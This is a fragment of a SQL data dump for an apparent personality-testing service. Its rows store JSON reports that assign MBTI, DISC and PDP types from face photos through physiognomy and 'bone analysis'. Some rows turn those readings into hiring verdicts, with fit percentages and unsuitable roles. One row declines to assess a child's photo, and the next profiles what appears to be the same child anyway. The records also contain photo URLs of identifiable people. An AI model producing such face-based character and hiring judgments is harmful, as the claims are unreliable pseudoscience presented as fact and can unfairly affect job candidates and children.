识别自己在高频社交和连续会议后的疲惫信号,安排必要的独处或安静工作时间,避免长期透支导致工作倦怠。\\\\n - 对自己在“需要表现”和“真实能量”的差距保持觉察,不必持续扮演高能外向者,可在团队中设计分工,让更擅长社交的人承担部分对外展示工作。\\\\n3. 增强在高不确定环境中的“试错容忍度”:\\\\n - 接受部分阶段性混沌和不完美信息,在某些创新或探索性项目中,允许“小步快跑、边试边调”的模式,不必一开始就追求最优方案和完整闭环。\\\\n - 将“控制一切”转为“控制关键变量”,在战略上保持弹性,战术上保持严谨。\\\\n4. 调整对自己和他人的标准层级:\\\\n - 区分“必须做到”的底线标准与“最好做到”的理想标准,避免对所有事情一视同仁地高要求,导致自己和团队负荷过高。\\\\n - 在不同阶段选定1—2个核心优先级,允许次要事项“合格即可”,提升整体效率与心态弹性。\\\"}\\\"}\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219369, 1773219369, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (123, 32, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、规划感强,做事稳健负责,重视长期目标与结果落地。适合承担决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg\"], \"boneAnalysis\": \"骨相偏方正稳健,中停与下停力量感足,颧骨含而不露,属稳中有进型,擅长在既定框架内持续推进。\", \"faceAnalysis\": \"额头平阔、眼神专注,鼻梁端正,嘴型收敛,下颌稳实,整体给人冷静审慎、重视规则与逻辑的印象。\", \"personalitySummary\": \"性格理性克制,有主见与原则感,重视效率和专业度。对外略显严肃但可靠度高,偏好深度思考后再行动,抗压与自律能力突出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773222595, 1773222595, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (124, 33, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳重理性,责任感强,做事有规划且能长期坚持,适合承担关键事务与稳定推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg\"], \"boneAnalysis\": \"整体偏土金形,骨骼端正饱满,骨肉均衡,抗压持久,重视现实与稳健推进,格局以务实统筹见长。\", \"faceAnalysis\": \"额头宽阔饱满,眼神沉稳专注,鼻梁平直鼻翼适中,嘴唇收敛有度,下巴圆厚具承载力。\", \"personalitySummary\": \"性格内敛理性,做事踏实谨慎,重视规则和承诺,执行力强且能长期投入,对细节与风险有良好把控。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227480, 1773227480, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (125, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、思路清晰,擅长规划与分析,做事稳健克制,有长期目标与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨骼均匀偏文骨,颧骨不过分外张,下颌略圆带稳,属稳健内敛型骨相。\", \"faceAnalysis\": \"额头饱满顺宽,眼神稳定内敛,鼻梁端正,嘴型收敛度好,整体面相理性审慎。\", \"personalitySummary\": \"思维缜密,重视逻辑与结构,情绪平和不外露,偏低调内向,做事有计划并追求高标准。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227875, 1773227875, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (126, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视效率与结果,适合承担规划决策与系统优化类角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg\"], \"boneAnalysis\": \"骨相偏方正稳固,下颌与颧区轮廓清晰,骨肉均衡,属稳健理性型格局,重视长期规划与现实落地。\", \"faceAnalysis\": \"额头饱满开阔,眼神沉稳内敛,鼻梁端正,嘴型收敛偏直,整体给人冷静克制、理性思辨之感。\", \"personalitySummary\": \"性格冷静自持,逻辑性与判断力强,做事有计划有步骤,重视原则和边界,人际中偏克制但可靠度高。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228025, 1773228025, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (127, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视规划与结果,稳健务实,适合承担核心决策与系统优化角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛但有力,下颌骨承载感强,骨肉匀称,显示格局稳健、抗压持久,适合长期深耕与统筹。\", \"faceAnalysis\": \"额头宽阔饱满,双眼沉稳内敛,鼻梁顺直,嘴型收敛度佳,下巴略圆带厚,整体给人理性坚毅、稳重内敛之感。\", \"personalitySummary\": \"思维逻辑清晰,善于系统分析与长期规划,做事稳中求进,情绪波动小,人际中相对克制有边界,适合承担策略制定和关键项目把控工作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228086, 1773228086, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (128, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重细腻、责任感强,重视长期稳定与家庭事业平衡,适合在熟悉领域深耕并承担管理与支持角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg\"], \"boneAnalysis\": \"整体偏土形,骨肉均衡,颧骨不张、下颌圆厚,骨相稳健守成,抗压持久,适合循序渐进型发展路线。\", \"faceAnalysis\": \"额头饱满顺滑,眉眼平和含蓄,鼻梁端正鼻翼适中,嘴型收敛,下巴圆厚有承托感,全脸线条柔和稳定。\", \"personalitySummary\": \"性格内敛踏实,重视承诺与责任,做事稳健有耐心,关怀他人但边界感适中,适合在稳定环境中长期深耕并支持团队运作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228411, 1773228411, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (129, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重内敛,责任感强,做事踏实细腻,重视长期稳定与家庭事业的双重平衡。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg\"], \"boneAnalysis\": \"面中下停略重,骨架圆厚有承载力,颧骨不露锋芒偏守成型,整体格局稳健重实务与耐力。\", \"faceAnalysis\": \"额头宽阔饱满,眼神温和含蓄,鼻梁平直端正,嘴角收敛,下巴圆厚,整体给人可靠稳重之感。\", \"personalitySummary\": \"性格温和有韧性,重视承诺与责任,行事谨慎周全,偏向务实执行与长期投入,善于照顾他人情绪与细节。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228469, 1773228469, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (130, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性克制、思维缜密,擅长规划与分析,稳健踏实,有长期发展眼光与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨相端正不突兀,颧骨内敛,下颌线平稳,属稳健持久型格局,重视秩序与责任。\", \"faceAnalysis\": \"额头饱满顺直,眼神沉稳内敛,鼻梁端正,唇形收敛度好,整体五官均衡偏理性。\", \"personalitySummary\": \"性格冷静理智,重视逻辑与效率,决策前深思熟虑,做事有规划,克制感强,偏内向独立。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228478, 1773228478, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (131, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向活泼、好奇心强,反应灵敏,情绪丰富,有想象力与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg\"], \"boneAnalysis\": \"骨架圆润带柔,颧区平和、下巴饱满,气质偏亲和稳定,成长空间大。\", \"faceAnalysis\": \"额头圆阔、眼神灵动、面庞饱满,表情丰富,整体给人开朗活泼之感。\", \"personalitySummary\": \"性格外向有趣,情绪表达自然,喜欢与人互动,善于用直觉与想象应对新事物。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228716, 1773228716, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (132, 35, 'mbti', '{\"scores\": {\"E\": 3, \"F\": 2, \"I\": 5, \"J\": 4, \"N\": 1, \"P\": 3, \"S\": 6, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ISTJ\", \"timestamp\": \"2026-03-11T11:31:57.653Z\", \"confidence\": 70, \"completedAt\": \"2026-03-11T11:31:57.651Z\", \"description\": {\"name\": \"检查员\", \"type\": \"ISTJ\", \"careers\": [\"会计师\", \"审计师\", \"项目经理\"], \"category\": \"守护者\", \"strengths\": [\"可靠负责\", \"注重细节\", \"有条理\"], \"weaknesses\": [\"可能过于固执\", \"不喜变化\"], \"description\": \"务实、负责、可靠的传统主义者\"}, \"testDuration\": 234, \"dimensionScores\": {\"EI\": {\"E\": 3, \"I\": 5, \"dominant\": \"I\", \"percentage\": 63}, \"JP\": {\"J\": 4, \"P\": 3, \"dominant\": \"J\", \"percentage\": 57}, \"SN\": {\"N\": 1, \"S\": 6, \"dominant\": \"S\", \"percentage\": 86}, \"TF\": {\"F\": 2, \"T\": 6, \"dominant\": \"T\", \"percentage\": 75}}}', NULL, NULL, 0, 0, NULL, NULL, 1773228717, 1773228717, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (133, 33, 'face', '{\"pdp\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"无法判断\", \"title\": \"战略家\"}, \"overview\": \"照片中为一名儿童,表情自然放松,仅可确认有清晰人脸,无法据此进行可靠人格与职业测评推断。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg\"], \"boneAnalysis\": \"骨相发育尚在早期阶段,无法依据传统相术或现代模型给出稳定结论。\", \"faceAnalysis\": \"五官端正、表情活泼,仍处生长期,面部特征尚未定型,不宜据此推演性格命运。\", \"personalitySummary\": \"仅从照片无法科学推断其MBTI、PDP或DISC类型,任何人格判断都会失真且存在刻板风险。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228789, 1773228789, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (134, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼外向,好奇心强,情绪丰富,乐于表达与互动,适合在支持与鼓励环境中成长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"骨相柔和偏圆,额区饱满,下颌承托力适中,属以亲和力与适应力见长的发展型格局。\", \"faceAnalysis\": \"五官圆润有朝气,眼神灵动,表情多变,整体给人活泼、亲切且富有童真的感觉。\", \"personalitySummary\": \"天真外向,想象力丰富,表达欲强,乐于尝试新事物,善于在互动中获得能量与自信。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228837, 1773228837, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (135, 36, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实、安静专注,责任心强,重视长期稳定与稳健推进,适合深度专业与体系化管理工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg\"], \"boneAnalysis\": \"骨相偏土木形,骨肉均匀不突兀,颧鼻不张扬而有支撑力,下颌骨柔中带劲,属稳健持久、重实践型格局。\", \"faceAnalysis\": \"额头平阔饱满,眼神沉稳克制,鼻梁顺直略圆润,下巴略尖偏圆,整体给人理性内敛、踏实细腻之感。\", \"personalitySummary\": \"性格内敛寡言却有主见,做事循序渐进、计划性强,遇事冷静分析,偏好规则与秩序,重承诺、可信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229546, 1773229546, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (136, 37, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实稳重,思维缜密,抗压能力强,偏向长期规划与稳健推进型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg\"], \"boneAnalysis\": \"骨架偏厚实,面中庭力量感足,下颌骨承载力佳,属土形稳重格局,重视现实与长期积累。\", \"faceAnalysis\": \"额头较宽,眼神内敛专注,鼻翼扎实,嘴形收敛,下巴圆厚,整体给人稳健务实、重执行的印象。\", \"personalitySummary\": \"性格内敛理性,做事有计划有耐心,重视规则和责任,能在压力环境下持续输出稳定表现。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229714, 1773229714, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (137, 37, 'mbti', '{\"scores\": {\"E\": 1, \"F\": 8, \"I\": 7, \"J\": 7, \"N\": 3, \"P\": 0, \"S\": 4, \"T\": 0}, \"answers\": [], \"mbtiType\": \"ISFJ\", \"timestamp\": \"2026-03-11T11:50:52.619Z\", \"confidence\": 86, \"completedAt\": \"2026-03-11T11:50:52.619Z\", \"description\": {\"name\": \"保护者\", \"type\": \"ISFJ\", \"careers\": [\"护士\", \"教师\", \"行政\"], \"category\": \"守护者\", \"strengths\": [\"忠诚体贴\", \"观察力强\", \"耐心\"], \"weaknesses\": [\"不善拒绝\", \"过于谦虚\"], \"description\": \"安静、友好、负责任的守护者\"}, \"testDuration\": 128, \"dimensionScores\": {\"EI\": {\"E\": 1, \"I\": 7, \"dominant\": \"I\", \"percentage\": 88}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 3, \"S\": 4, \"dominant\": \"S\", \"percentage\": 57}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773229852, 1773229852, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (138, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理\", \"团队领导\", \"销售主管\", \"客户关系管理\"], \"notSuitable\": [\"高度技术专业深度研发岗位\", \"需要极端内向独立完成任务职位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"88%\"}, {\"label\": \"沟通适应性\", \"level\": \"高\", \"value\": \"85%\"}, {\"label\": \"抗压能力\", \"level\": \"高\", \"value\": \"90%\"}, {\"label\": \"组织执行力\", \"level\": \"高\", \"value\": \"87%\"}], \"headline\": \"具备双重领导力特质,能统筹规划与激励团队\"}, \"overview\": \"候选人性格表现出内敛与外向的明显分裂特征,行为模式体现理性与感性并存。生日与骨相显示其稳健、理性、富有抗压性,擅长有序规划与坚持原则;BUT 测评结果揭示其显著的社交互动能力和乐观自信,既有高效组织者特质,也极具表现力与亲和力。整体呈现出复合型领导者画像,兼具战略洞察与团队激励能力。\", \"portrait\": {\"coreRisks\": [\"性格层面存在内外反差,易造成自我认知混淆\", \"注意力可能易分散\", \"在快速变化环境中可能出现优柔寡断\"], \"workStyle\": \"偏好稳定有序环境,习惯通过周密计划和严谨执行达到目标,沟通时既能理性直截也能展现亲和力,团队中担任既能推动任务又能激励氛围的角色。\", \"coreStrengths\": [\"目标导向强\", \"理性冷静\", \"良好沟通与表达能力\", \"高抗压\", \"组织协调力强\", \"人际影响力显著\"]}, \"resumeHighlights\": \"MBTI识别为ESTJ,显示其作为果断的组织者和领导者;PDP和DISC均倾向表现型/影响型,凸显良好的社交影响力和团队调动能力。骨相与面部特征分析印证其内敛稳健的性格底色。其工作经历中的表现预计为理性、有序和高效。整体来看,候选人真实个性为‘理性+表现’,即内外兼修的复合型人才,既冷静决策又积极表达,适合担任中高级管理及客户导向岗位。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773279222, 1773279222, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (139, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维理性,细致专注,谋略与执行兼备,适合规划与决策类岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨重肉匀,五行木形,颧骨收敛,伏犀骨有力,格局中高,主理性与稳定。\", \"faceAnalysis\": \"额头饱满,眼神专注,鼻梁挺直,唇形清晰,下巴轮廓分明,五官协调。\", \"personalitySummary\": \"具备理性分析与系统思维,做事沉稳高效,决策重逻辑长远。人际间保持距离感,适合独立谋划或专业带队,能整合资源,兼具开拓与守成。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279937, 1773279937, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (140, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"具备思维理性、决策果断和全局统筹能力,攻坚执行兼具创新潜质。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"金形骨相,骨重肉薄,颧骨高耸将军骨坚挺,整体格局高,决断现实感强,抗压理性攻坚。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注,鼻梁直挺,唇形收放有度,下颌宽厚有力,耳廓适中贴头。\", \"personalitySummary\": \"刚健稳重兼具战略眼光,雷厉风行注重细节,理性分析为决策核心,具威信领导力,适配高挑战环境管理晋升路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279975, 1773279975, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (141, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性专注、条理清晰,擅长深度思考和独立决策,兼具敏锐洞察力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五行属木形,骨感明显,骨重肉薄,抗压稳健,主见强,谋略佳。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁高直,嘴唇紧收,下巴略尖,耳朵较贴头。\", \"personalitySummary\": \"善于逻辑推理与系统规划,追求精准,行事低调却有主见,决策理性。人际关系理性有度,沟通偏向事实与逻辑,适配复杂问题解决与知识型岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280023, 1773280023, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (142, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼开朗,表达力强,人际感知力高,适应变化能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面部骨肉平衡,五行偏木形,骨肉停匀,适应力强,抗压方式以柔性缓冲为主。\", \"faceAnalysis\": \"额头饱满,眼神灵动,鼻形端正,嘴唇饱满,下巴圆润,耳位正常。总体面相阳光自信,情绪丰富。\", \"personalitySummary\": \"性格外向,具创造力与好奇心,乐于表达,易与人建立良好关系。做事充满热情,喜欢尝试新鲜事物。团队合作时善于沟通,适应力与应变强。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280177, 1773280177, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (143, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"销售与商务拓展\", \"团队管理与激励(项目经理、销售主管、BD Leader等)\", \"客户关系管理与顾问服务\", \"活动策划、品牌公关\"], \"notSuitable\": [\"高重复性、独立性极强的后端执行类(如数据分析、流程型文职、会计专员)\", \"需要高度专注单一任务、个人深入逻辑钻研岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}], \"headline\": \"极具影响力的团队激励者与执行推动者,善于跨领域整合资源、激发团队潜能。\"}, \"overview\": \"该候选人具备高度外向、沟通力强和乐观积极的性格底色,兼具行动力与组织力,适应变化能力强,具有自然影响力。性格测试结果一致印证其人际驱动力和行动执行能力。综合性格测评、面相骨骼及工作特质,可判定其在组织激励、人际协调、项目落地与多任务场景中表现突出,适宜领导、销售、商务拓展、项目管理及创新团队核心角色。\", \"portrait\": {\"coreRisks\": [\"注意力分散易影响执行细节\", \"过度乐观导致风险评估不足\", \"对重复性、缺乏人际互动的任务动力不足\"], \"workStyle\": \"以目标为导向,善于自我激励,偏好开放性、多元协作的环境。能够高效组织团队,协调资源并推动项目进展。擅长快速建立关系并激发团队氛围,遇压力时更倾向寻求人际支持与化解矛盾而非正面硬抗。善于多线程并行处理事务,重视创新与挑战。\", \"coreStrengths\": [\"外向热情\", \"沟通能力强\", \"组织与执行力突出\", \"高度适应变化\", \"富有影响力及感染力\"]}, \"resumeHighlights\": \"性格测试高度一致,兼具外向表达(ENFP/孔雀/I型)与组织领导力(ESTJ/虎型/C型),天生具备沟通、影响、团队协调与快速适应变化等能力。易于驱动团队目标落实,善于调动氛围,执行与创新并重。易疏忽细节、风险评估需提升。职业发展建议加强专注力与系统思考能力,实现稳步突破。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773280251, 1773280251, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (144, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"富有活力与感染力,适应环境强,乐于表达创新思维。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面中骨肉均匀,偏木形,骨相开阔亲和,侧重柔性与弹性。\", \"faceAnalysis\": \"额头饱满,眼睛有神,鼻翼宽正,嘴型饱满有力,下颌圆润,耳贴头。\", \"personalitySummary\": \"性格热情开朗,情感丰富,富有创意表达,适应力强,善于社交融合团队,执行力佳。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773285873, 1773285873, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (145, 1, 'face', '{\"pdp\": 